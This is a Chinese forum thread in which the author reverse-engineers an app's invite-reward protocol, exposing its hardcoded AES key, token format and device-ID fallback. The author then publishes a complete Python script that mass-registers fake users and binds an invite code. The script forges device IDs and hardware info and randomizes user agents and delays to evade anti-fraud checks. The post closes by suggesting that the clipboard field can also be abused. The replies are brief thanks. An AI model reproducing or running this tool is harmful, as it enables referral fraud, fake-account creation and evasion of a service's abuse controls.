返回列表 发新帖

[原创] 某岛App邀请协议逆向分析与全自动刷邀请脚本开源 [AES/设备指纹/Token逻辑]

  [复制链接]

1

主题

607

回帖

1846

积分

高中生

Rank: 4

金币
1138
好评
2
信誉
100
发表于 2026-2-3 19:01:19 来自手机  | 显示全部楼层 | 阅读模式  来自 湖南
本帖最后由 灰烬 于 2026-2-3 19:15 编辑

⚠️ 免责声明
本教程仅供技术交流与学习使用,旨在分析网络协议与安全机制。
1. 文中涉及的脚本和技术细节仅用于演示漏洞原理,严禁用于任何非法商业用途、恶意攻击或黑灰产行为。
2. 请在下载后24小时内删除相关文件。
3. 作者不对任何人因使用本教程中的技术或脚本而产生的任何法律后果负责。
4. 如果本帖侵犯了您的权益,请联系删除。
5. 文中所有具体域名和IP均已替换为占位符。

工具准备
  • 算法助手(用于Hook加密参数)
  • 小黄鸟/HttpCanary(抓包工具)
  • MT管理器(用于反编译DEX分析Java逻辑)
  • 受害软件:某某岛(H软)


破解思路分析
此类APP通常采用服务器强验证,核心逻辑在于:服务端只信任携带有效Token的请求
我们的目标是利用“新用户试用”或“邀请奖励”机制。

基本流程:
1. 抓包分析注册/登录接口,获取 Token。
2. 定位加密算法(AES)与密钥。
3. 难点攻关:分析 device_id 的生成逻辑(是否强绑定硬件)。
4. 难点攻关:解决“安全性错误D!”报错,分析请求头与Token构建逻辑。
5. 编写Python脚本实现全自动闭环。




第一步:加密算法分析

使用算法助手Hook加密方法,捕获到以下关键信息(日志未精简,保留原始数据方便对照):


  1. 时间:2026-02-02 23:48:34

  2. 算法类型:AES/ECB/PKCS5Padding

  3. Key类型:javax.crypto.spec.SecretKeySpec

  4. 加密秘钥(文本):e2bafce13c351958
  5. 加密秘钥(Base64):ZTJiYWZjZTEzYzM1MTk1OA==
  6. 加密秘钥(Hex):65326261666365313363333531393538

  7. 加密Iv(文本):null
  8. 加密Iv(Base64):bnVsbA==
  9. 加密Iv(Hex):6e756c6c

  10. 加密内容(文本):{"deviceId":"5741ba4105005cb0","token":"null_null"}

  11. 加密结果(文本):���A�r�O���ZZ�e�k��T�p$ߟ�)        ��4H�ܜ�]���H����$B        !e�XJ�h��4K(部分,其余省略)

  12. 调用堆栈:
  13.         at de.robv.android.JungeSpoxed.JungeSpoxedBridge$AdditionalHookInfo.callback(Unknown Source:147)
  14.         at b.a.a.a.j.a$a.c(SourceFile:12)
  15.         at com.jbzd.media.fiveonehl.ui.splash.SplashViewMode$ping$1.invokeSuspend(SourceFile:8)
  16.         at kotlin.coroutines.jvm.internal.BaseContinuationImpl.resumeWith(SourceFile:4)
  17.         at c.a.m0.run(SourceFile:15)
  18.         at c.a.d2.a.u(SourceFile:1)
  19.         at c.a.d2.a$a.run(SourceFile:12)
复制代码


分析结论:
  • 算法:AES/ECB/PKCS5Padding
  • 密钥:e2bafce13c351958





第二步:抓包协议分析

为了构建脚本,我们需要详细分析请求和响应。以下是抓取的原始数据信息:

1. 注册/登录接口(用于获取Token)

  1. POST /v1/st/xx HTTP/1.1
  2. User-Agent: Mozilla/5.0 (Linux; U; Android 8.1.0; zh-CN; EML-AL00 Build/HUAWEIEML-AL00) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Lucky/11.9.4.974 UWS/2.13.1.48 Mobile Safari/537.36 AliApp(DingTalk/4.5.11)  Channel/227200 language/zh-CN
  3. deviceType: android
  4. version: 4.1.5
  5. time: 2026-02-02 23:17:15
  6. Content-Type: multipart/form-data
  7. Content-Length: 2016
  8. Host: [域名]
  9. Connection: Keep-Alive
  10. Accept-Encoding: gzip
复制代码


该接口解密后的 JSON 请求体:

  1. {
  2.   "data": {
  3.     "ad_method": "2",
  4.     "app_code": "main",
  5.     "channel_code": "x468498a4",
  6.     "clipboard_text": "",
  7.     "device_id": "07a647de66796825",
  8.     "device_info": "{"product": "Realme 8 Pro", "display": "RealmeRealme 8 Pro release-keys", "is_installedwechat": "n", "gsm.version.baseband": "1", "version.sdkInt": "30", "isPhysicalDevice": "true", "is_cameraflash": "y", "manufacturer": "Realme", "is_installedalipay": "y", "version.codename": "REL", "sensornumber": "9", "bootloader": "unknown", "host": "compiler", "model": "Realme 8 Pro", "is_agent": "n", "id": "RealmeRealme 8 Pro", "version.release": "11", "device": "SULLE", "board": "MQG", "hardware": "snapdragon888"}",
  9.     "device_information": "{"product": "Realme 8 Pro", "display": "RealmeRealme 8 Pro release-keys", "is_installedwechat": "n", "gsm.version.baseband": "1", "version.sdkInt": "30", "isPhysicalDevice": "true", "is_cameraflash": "y", "manufacturer": "Realme", "is_installedalipay": "y", "version.codename": "REL", "sensornumber": "9", "bootloader": "unknown", "host": "compiler", "model": "Realme 8 Pro", "is_agent": "n", "id": "RealmeRealme 8 Pro", "version.release": "11", "device": "SULLE", "board": "MQG", "hardware": "snapdragon888"}",
  10.     "domain": "http://[域名]/v1/"
  11.   },
  12.   "deviceId": "07a647de66796825",
  13.   "token": "null_null"
  14. }
复制代码


注册接口响应体(解密后):
我们需要从中提取 Token 和 UserID。

  1. {
  2.     "code": 200,
  3.     "data": {
  4.         "token": {
  5.       // ...其他内容
  6.             "token": "e21228a893c46c073d84ee1445f9e9fa",
  7.             "user_id": "52012563",
  8.             "username": "I2ZHH",
  9.             "expired_at": "28800",
  10.             "ip": "[IP地址]"
  11.         }
  12.     },
  13.       // ...其他内容
  14.     "time": "2026-02-02 23:32:46"
  15. }
复制代码


2. 绑定邀请码接口

  1. POST /v1/yh/bdfj HTTP/1.1
  2. User-Agent: ... (同上) ...
  3. deviceType: android
  4. version: 4.1.5
  5. time: 2026-02-02 23:30:05
  6. Content-Type: multipart/form-data
  7. Content-Length: 112
  8. Host: [域名]
  9. Connection: Keep-Alive
  10. Accept-Encoding: gzip

复制代码


该接口解密后的 JSON 请求体:

  1. {
  2.     "data": {
  3.         "code": "I2ZHH" // 邀请码
  4.     },
  5.     "deviceId": "5741ba4105005cb0",
  6.     "token": "3c0382e6fa921df9eccea2d53a26c703_52012563" // 注意这里Token的格式!
  7. }
复制代码





第三步:Device ID 生成逻辑

在请求体中,device_id 是标识用户身份的核心。通过MT管理器搜索代码,定位到 Lb/a/a/a/e;->a()Ljava/lang/String;

关键Java逻辑(已精简注释):

  1. public static final String a() {
  2.     // 1. 尝试从 SharedPreferences (本地缓存) 读取 SP_DEVICE_ID
  3.     String string = sharedPreferences.getString("SP_DEVICE_ID", "");
  4.    
  5.     // 2. 尝试获取 Android ID (部分新系统可能获取为空或受限)
  6.     if (string == null || string.length() == 0) {
  7.         string = Settings.System.getString(context.getContentResolver(), "android_id");
  8.         // ...校验ID是否为000000等无效值的逻辑...
  9.     }
  10.    
  11.     // 3. 【重点】如果上述获取失败,代码会回退使用 UUID 生成!
  12.     if (TextUtils.isEmpty(string)) {
  13.         // 生成随机UUID并去掉横杠 "-"
  14.         String replace = UUID.randomUUID().toString().replace("-", "");
  15.         string = replace;
  16.     }
  17.    
  18.     // 4. 保存生成的ID以便下次使用
  19.     sharedPreferences2.edit().putString("device_id", string).apply();
  20.     return string;
  21. }
复制代码


结论: 代码逻辑显示,当应用无法获取高权限设备码时,会回退使用 UUID 随机生成。这意味着我们完全可以使用 Python 脚本随机生成 16 位 Hex 字符串来伪造合法的 device_id,服务器无法分辨!




第四步:解决“安全性错误”与 Token 构造

在尝试编写脚本模拟请求时,发现响应体返回内容不对,出现如下报错:

  1. {
  2.     "status": "n",
  3.     "error": "安全性错误D!",
  4.     "errorCode": 2001
  5. }
复制代码


排查过程:
检查请求体和 Python 代码,怀疑是 Token 格式或 Header 中的 Content-Length 问题。通过堆栈定位到构建请求体的方法 b.a.a.a.j.a$a.c

关键 Java 代码逻辑:

  1. public final class a$a {
  2.     @NotNull
  3.     public final i0 c(@Nullable Object obj) {
  4.         BaseRequestBody baseRequestBody = new BaseRequestBody();
  5.         baseRequestBody.setDeviceId(e.a()); // 设置设备ID
  6.         
  7.         // --- 核心点1:Token 拼接逻辑 ---
  8.         StringBuilder sb = new StringBuilder();
  9.         TokenBean g = MyApp.g();
  10.         // 拼接服务端返回的 token
  11.         sb.append((Object) (g == null ? null : g.token));
  12.         sb.append('_'); // 中间加下划线
  13.         TokenBean g2 = MyApp.g();
  14.         // 拼接服务端返回的 user_id
  15.         sb.append((Object) (g2 == null ? null : g2.user_id));
  16.         baseRequestBody.setToken(sb.toString()); // 设置最终 Token
  17.         
  18.         baseRequestBody.setData(obj);
  19.         
  20.         // --- 核心点2:加密与长度计算 ---
  21.         String jSONString = JSON.toJSONString(baseRequestBody);
  22.         // AES 加密
  23.         byte[] bytes = jSONString.getBytes(Charsets.UTF_8);
  24.         SecretKeySpec secretKeySpec = new SecretKeySpec("e2bafce13c351958".getBytes(), "AES-128-ECB");
  25.         Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
  26.         cipher.init(1, secretKeySpec);
  27.         bArr = cipher.doFinal(bytes); // 得到加密后的字节数组
  28.         
  29.         // --- 核心点3:Content-Length 是字节数组长度 ---
  30.         int length = bArr.length;
  31.         return new h0(bArr, b, length, 0);
  32.     }
  33. }
复制代码


分析结论:
1. Token 格式:必须是 "token" + "_" + "user_id" 的组合形式。
2. Content-Length:必须是加密后二进制字节数组的长度(不是 Base64 字符串长度)。




第五步:全自动刷邀请脚本

脚本主要功能:
1. 全自动闭环:自动 生成新设备 -> 注册获取Token -> 拼接Token -> 提交邀请码
2. 智能解密:自动识别服务器返回的是密文还是明文报错,彻底解决解密失败导致脚本崩溃的问题。
3. 防风控:每次请求生成全新的随机 User-Agent 和 Device Info。
4. 随机延时:模拟真人操作间隔。

使用方法:
1. 安装 Python 3 和依赖库:
  1. pip install pycryptodome requests
复制代码

2. 运行脚本,输入邀请码和需要刷的次数。



  1. import json
  2. import random
  3. import string
  4. import secrets
  5. import time
  6. from datetime import datetime
  7. from Crypto.Cipher import AES
  8. from Crypto.Util.Padding import pad, unpad
  9. import requests

  10. ## --- 核心模块 1: AES 加解密 (增强版) ---
  11. class AESECBEncryptor:
  12.     def __init__(self, key="e2bafce13c351958"):
  13.         self.key = key.encode('utf-8')
  14.         self.block_size = AES.block_size

  15.     def encrypt(self, plaintext):
  16.         cipher = AES.new(self.key, AES.MODE_ECB)
  17.         padded_data = pad(plaintext.encode('utf-8'), self.block_size)
  18.         return cipher.encrypt(padded_data)

  19.     def decrypt(self, content):
  20.         """智能解密:优先尝试 AES,失败则尝试明文解码"""
  21.         # 1. 尝试直接按 UTF-8 明文解析(处理服务器返回未加密报错的情况)
  22.         try:
  23.             text = content.decode('utf-8')
  24.             # 如果看起来像 JSON,直接返回
  25.             if text.strip().startswith('{') and text.strip().endswith('}'):
  26.                 return f"[服务器返回明文]: {text}"
  27.         except:
  28.             pass

  29.         # 2. 尝试 AES 解密
  30.         try:
  31.             cipher = AES.new(self.key, AES.MODE_ECB)
  32.             decrypted_data = cipher.decrypt(content)
  33.             return unpad(decrypted_data, self.block_size).decode('utf-8')
  34.         except Exception as e:
  35.             # 如果解密失败,返回十六进制以便调试
  36.             return f"[解密失败]: {str(e)} | 原始Hex: {content.hex()[:50]}..."

  37. ## --- 核心模块 2: 设备生成器 ---
  38. class DeviceManager:
  39.     @staticmethod
  40.     def generate_id():
  41.         """生成合法的 16 位设备 ID"""
  42.         while True:
  43.             device_id = ''.join(secrets.choice('0123456789abcdef') for _ in range(16))
  44.             # 过滤非法 ID (参考 Java 源码逻辑)
  45.             if not (device_id.startswith(("000000", "ffffff")) or device_id == "9774d56d682e549c"):
  46.                 return device_id

  47.     @staticmethod
  48.     def get_random_info():
  49.         """生成随机设备硬件信息,模拟真实手机"""
  50.         manufacturers = ["HUAWEI", "Xiaomi", "OnePlus", "Samsung"]
  51.         brand = random.choice(manufacturers)
  52.         models = {"HUAWEI": "TAS-AN00", "Xiaomi": "Mi 11", "OnePlus": "OnePlus 9 Pro", "Samsung": "Galaxy S21"}
  53.         model = models[brand]
  54.         
  55.         info = {
  56.             "product": model,
  57.             "display": f"{brand}{model} release-keys",
  58.             "manufacturer": brand,
  59.             "model": model,
  60.             "version.sdkInt": "29",
  61.             "version.release": "10",
  62.             "device": ''.join(random.choice(string.ascii_uppercase) for _ in range(5)),
  63.             "hardware": "snapdragon888"
  64.         }
  65.         return brand, model, info

  66. ## --- 核心模块 3: 业务客户端 ---
  67. class LoliClient:
  68.     def __init__(self):
  69.         self.encryptor = AESECBEncryptor()
  70.         # 请自行替换为抓包获取的实际域名
  71.         self.url_token = "http://[域名]/v1/st/xx"
  72.         self.url_task = "http://[域名]/v1/yh/bdfj"
  73.         self.headers = {
  74.             "deviceType": "android",
  75.             "version": "4.1.5",
  76.             "Host": "[域名]", # 请替换为实际 Host
  77.             "Content-Type": "multipart/form-data",
  78.             "Connection": "Keep-Alive",
  79.             "Accept-Encoding": "gzip"
  80.         }

  81.     def request(self, url, data, ua):
  82.         """统一发送请求"""
  83.         json_str = json.dumps(data, ensure_ascii=False)
  84.         encrypted_data = self.encryptor.encrypt(json_str)
  85.         
  86.         current_headers = self.headers.copy()
  87.         current_headers["User-Agent"] = ua
  88.         current_headers["time"] = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
  89.         current_headers["Content-Length"] = str(len(encrypted_data))

  90.         try:
  91.             resp = requests.post(url, data=encrypted_data, headers=current_headers, timeout=10)
  92.             if resp.content:
  93.                 # 使用智能解密处理响应
  94.                 return self.encryptor.decrypt(resp.content)
  95.             return "空响应"
  96.         except Exception as e:
  97.             return f"请求异常: {e}"

  98.     def run_cycle(self, code, index, total):
  99.         """执行一次完整的:新设备 -> 领Token -> 提交数据"""
  100.         print(f"\n--- 正在执行第 {index}/{total} 次任务 ---")
  101.         
  102.         # 1. 生成全新设备环境 (防风控关键)
  103.         device_id = DeviceManager.generate_id()
  104.         brand, model, info = DeviceManager.get_random_info()
  105.         ua = f"Mozilla/5.0 (Linux; U; Android 10; zh-CN; {model} Build/{brand.upper()}{model}) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Lucky/11.9.4.974 AliApp(DingTalk/4.5.11)"
  106.         
  107.         print(f"[*] 模拟设备: {brand} {model} | ID: {device_id}")

  108.         # 2. 获取 Token (注册新用户)
  109.         token_payload = {
  110.             "data": {
  111.                 "device_id": device_id,
  112.                 "device_info": json.dumps(info, ensure_ascii=False),
  113.                 "device_information": json.dumps(info, ensure_ascii=False),
  114.                 "domain": "http://[域名]/v1/",
  115.                 "app_code": "main",
  116.                 "channel_code": "x468498a4"
  117.             },
  118.             "deviceId": device_id,
  119.             "token": "null_null"
  120.         }
  121.         
  122.         res_token = self.request(self.url_token, token_payload, ua)
  123.         
  124.         # 解析 Token
  125.         full_token = None
  126.         if "token" in res_token and "user_id" in res_token:
  127.             try:
  128.                 # 尝试解析响应
  129.                 if isinstance(res_token, str) and res_token.startswith("{"):
  130.                     res_json = json.loads(res_token)
  131.                     if res_json.get("code") == 200:
  132.                         t_data = res_json["data"]["token"]
  133.                         # 核心逻辑:拼接 Token + _ + UserId
  134.                         full_token = f"{t_data['token']}_{t_data['user_id']}"
  135.                         print(f"[+] Token 获取成功: {t_data['user_id']}")
  136.                     else:
  137.                         print(f"[-] Token 获取失败: {res_token}")
  138.                         return
  139.             except:
  140.                 print(f"[-] Token 解析异常: {res_token}")
  141.                 return
  142.         else:
  143.             print(f"[-] 响应异常: {res_token}")
  144.             return

  145.         # 3. 提交业务数据 (使用刚获取的新用户 Token)
  146.         task_payload = {
  147.             "data": {"code": code},
  148.             "deviceId": device_id,
  149.             "token": full_token
  150.         }
  151.         
  152.         # 随机延迟 0.5~1.5秒,模拟真人操作间隔
  153.         time.sleep(random.uniform(0.5, 1.5))
  154.         
  155.         res_task = self.request(self.url_task, task_payload, ua)
  156.         print(f"[>] 业务响应: {res_task}")

  157. ## --- 主入口 ---
  158. def main():
  159.     print("=== 全自动无限刷量工具 (每次生成新用户) ===\n")
  160.     code = input("请输入数据代码 (例如 I2ZHH): ").strip()
  161.     try:
  162.         count = int(input("请输入运行次数: ").strip())
  163.     except:
  164.         print("次数输入错误")
  165.         return

  166.     client = LoliClient()
  167.    
  168.     for i in range(1, count + 1):
  169.         client.run_cycle(code, i, count)
  170.         # 批次间歇,防止过快
  171.         if i < count:
  172.             time.sleep(1)

  173.     print("\n[=] 所有任务执行完毕")

  174. if __name__ == "__main__":
  175.     main()
复制代码





额外提示:
在分析注册接口时,我们还发现了 clipboard_text 字段。通过分析逻辑发现,这是软件用于“剪贴板自动识别”的。如果你在请求体中将此字段设置为包含邀请码的分享链接,实际上也可以实现在注册的同时直接绑定邀请关系,这可能是另一种更高效的刷量思路,留给大家去探索!
已有3人评分好评 金币 理由
TheRain + 1 赞一个!
龙一 + 1 赞一个!
lcy0429 + 1 + 1 很给力!

查看全部评分 总评分:好评 +2  金币 +2 

回复

使用道具 举报

1

主题

607

回帖

1846

积分

高中生

Rank: 4

金币
1138
好评
2
信誉
100
发表于 2026-2-3 19:06:38 来自手机  | 显示全部楼层  来自 湖南
本帖最后由 灰烬 于 2026-2-4 18:33 编辑

本贴不提供任何非法软件,如果想使用脚本请自行下载软件,抓取软件的域名进行替换,一共要替换4个位置,将所有[域名]替换成真实抓包得到的域名
回复

使用道具 举报

6

主题

1167

回帖

4101

积分

大学生

Rank: 5Rank: 5

金币
2097
好评
0
信誉
96
发表于 2026-2-3 19:02:00 来自手机  | 显示全部楼层  来自 河南
看看
回复

使用道具 举报

26

主题

1059

回帖

5239

积分

硕士生

Rank: 6Rank: 6

金币
434
好评
5
信誉
102
发表于 2026-2-3 19:05:53 来自手机  | 显示全部楼层  来自 广东
看看
回复

使用道具 举报

6

主题

1243

回帖

5941

积分

硕士生

看看

Rank: 6Rank: 6

金币
3201
好评
0
信誉
100
发表于 2026-2-3 19:10:19 来自手机  | 显示全部楼层  来自 河南
看看是啥
回复

使用道具 举报

39

主题

1192

回帖

6448

积分

硕士生

孤儿

Rank: 6Rank: 6

金币
1109
好评
82
信誉
98
发表于 2026-2-3 19:10:27 来自手机  | 显示全部楼层  来自 四川
看看
回复

使用道具 举报

2

主题

2326

回帖

7338

积分

硕士生

Rank: 6Rank: 6

金币
3663
好评
2
信誉
106

考神MT论坛帅哥

发表于 2026-2-3 19:11:53 来自手机  | 显示全部楼层  来自 山东
感谢分享
回复

使用道具 举报

1

主题

259

回帖

773

积分

初中生

Rank: 3Rank: 3

金币
86
好评
0
信誉
104
发表于 2026-2-3 19:12:28 来自手机  | 显示全部楼层  来自 河南
看看这个
回复

使用道具 举报

13

主题

4071

回帖

1万

积分

博士生

Rank: 7Rank: 7Rank: 7

金币
4566
好评
23
信誉
152

MT论坛新人MT论坛最佳新人MT论坛帅哥考神MT论坛活跃会员

发表于 2026-2-3 19:14:19 来自手机  | 显示全部楼层  来自 湖南
看看
回复

使用道具 举报

61

主题

3487

回帖

1万

积分

博士生

轻音永不毕业

Rank: 7Rank: 7Rank: 7

金币
3503
好评
2
信誉
100

MT论坛新人考神

发表于 2026-2-3 19:14:35 来自手机  | 显示全部楼层  来自 广西
看看
回复

使用道具 举报

5

主题

2100

回帖

7247

积分

硕士生

Rank: 6Rank: 6

金币
2691
好评
16
信誉
100

考神MT论坛最佳新人MT论坛帅哥MT论坛新人

发表于 2026-2-3 19:17:33 来自手机  | 显示全部楼层  来自 河南
看看
回复

使用道具 举报

3

主题

662

回帖

1827

积分

高中生

Rank: 4

金币
239
好评
0
信誉
100
发表于 2026-2-3 19:17:36 来自手机  | 显示全部楼层  来自 浙江
看看学一下
回复

使用道具 举报

23

主题

1715

回帖

4634

积分

大学生

(˵¯͒〰¯͒˵)

Rank: 5Rank: 5

金币
2776
好评
15
信誉
90

MT论坛最佳新人

发表于 2026-2-3 19:18:19 来自手机  | 显示全部楼层  来自 广东
快看
回复

使用道具 举报

4

主题

838

回帖

3574

积分

大学生

Rank: 5Rank: 5

金币
1657
好评
1
信誉
98
发表于 2026-2-3 19:18:42 来自手机  | 显示全部楼层  来自 贵州
学习
回复

使用道具 举报

31

主题

1312

回帖

7194

积分

硕士生

Rank: 6Rank: 6

金币
3032
好评
14
信誉
101
发表于 2026-2-3 19:21:25 来自手机  | 显示全部楼层  来自 重庆
谢谢分享
回复

使用道具 举报

发表回复

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表